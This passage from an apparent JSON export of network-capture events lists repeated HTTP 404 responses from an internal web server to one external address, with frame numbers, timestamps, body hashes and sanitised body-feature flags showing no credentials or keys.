          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1412,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255998.576868000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1421",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 60737,
          "event_id": "evt-d0fde08ad449332b46feeba0",
          "src_port": 80,
          "tcp_stream": 46,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1423,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256008.819272000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1425",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 60737,
          "event_id": "evt-52c83d8edcf2d3ff420b8657",
          "src_port": 80,
          "tcp_stream": 46,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1426,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256009.122528000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1428",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 60737,
          "event_id": "evt-6f02b7b304dc98a8b521a644",
          "src_port": 80,
          "tcp_stream": 46,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1429,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256009.398484000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1431",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 60737,
          "event_id": "evt-e665c8c24b0ad5fa36a51182",
          "src_port": 80,
          "tcp_stream": 46,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1432,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256009.702792000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1448",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 63653,
          "event_id": "evt-88c745b4f483f549095a5d8f",
          "src_port": 80,
          "tcp_stream": 49,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1450,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256033.847946000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1452",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 63653,
          "event_id": "evt-6e1123973591aa0fda413597",
          "src_port": 80,
          "tcp_stream": 49,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1453,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256034.133990000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1455",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 63653,
          "event_id": "evt-a1eca77b2293d035a45bae62",
          "src_port": 80,
          "tcp_stream": 49,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1456,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256037.540986000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1467",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-90726cab362d3d47b7cb95b9",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1469,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256043.082122000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-63df6884cd164f31f2c91183",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1471,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256044.280557000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1473",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-d4cd3be8d8c7ac142af616ec",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1474,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256045.623490000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1476",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-e05eaaba7ad81f2fd1a75ce9",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1477,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256045.901507000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1479",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-75133d3ebb5102a85c4f8d6c",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1480,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256046.780515000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1482",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-1a08ada5aa48ba2acf8efb45",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1483,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256047.060691000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1485",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-7107034cd753d830518205c2",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1486,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256047.337160000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1488",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-e764349c6fd32fb987c34290",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1489,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256049.605509000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1491",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-4e86600cec7689b83e487e68",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1492,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256049.888597000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1494",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-2ed16112105cbcca4461a13b",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1495,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256050.315963000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1497",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-504ed34d14a3cf9ecb02769f",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1498,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256050.592782000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1500",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-35f061030683773577c8d59a",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1501,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256051.577359000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1503",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64829,
          "event_id": "evt-53155f71038291112caa9ff1",
          "src_port": 80,
          "tcp_stream": 50,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1504,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256052.275088000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1513",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51050,
          "event_id": "evt-d409e11bf2bc8850ad1fadc1",
          "src_port": 80,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1515,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256066.046776000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1517",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51050,
          "event_id": "evt-d013c84b8b9452cca14ae937",
          "src_port": 80,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1518,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256067.032635000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1520",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51050,
          "event_id": "evt-a71ecc5eb970367b96b83063",
          "src_port": 80,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1521,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256067.290627000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1523",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51050,
          "event_id": "evt-a5101654513d4d42ef6c8320",
          "src_port": 80,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1524,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256067.549096000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1526",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51050,
          "event_id": "evt-888afe86f259e86972373f7f",
          "src_port": 80,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1527,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256067.807384000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1529",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51050,
          "event_id": "evt-38ae1d43c54c14dbdc702a7c",
          "src_port": 80,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1530,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256068.764870000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1532",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51050,
          "event_id": "evt-16f69f3291afdb5da4efc989",
          "src_port": 80,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1533,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256069.022949000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1535",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51050,
          "event_id": "evt-729ecf3ba7bd3d78cf7e217b",
          "src_port": 80,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1536,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256069.858070000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1538",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 51050,
          "event_id": "evt-ff18c842d4409788f2e4b936",
          "src_port": 80,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1539,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256070.144030000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1551",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-2536b73361aabc4dda7a29f4",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1553,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256077.797025000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1555",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-0e333df5a4ad0b4b326b645b",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1557,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256078.842924000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1559",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-0f03f43cf20daa22942006e7",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1560,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256079.158206000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1562",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-3f0955f90052c3ca9e509ddc",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1563,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256081.604922000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1565",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-1c85bc4dd6f992931d4ed8d8",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1566,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256081.871630000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1568",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-dac9a62be65a0f02be9ae380",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1569,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256082.138500000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1571",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52315,
          "event_id": "evt-bdfb5c8a66945bffe4fd8e63",
          "src_port": 80,
          "tcp_stream": 52,
          "udp_stream": null,
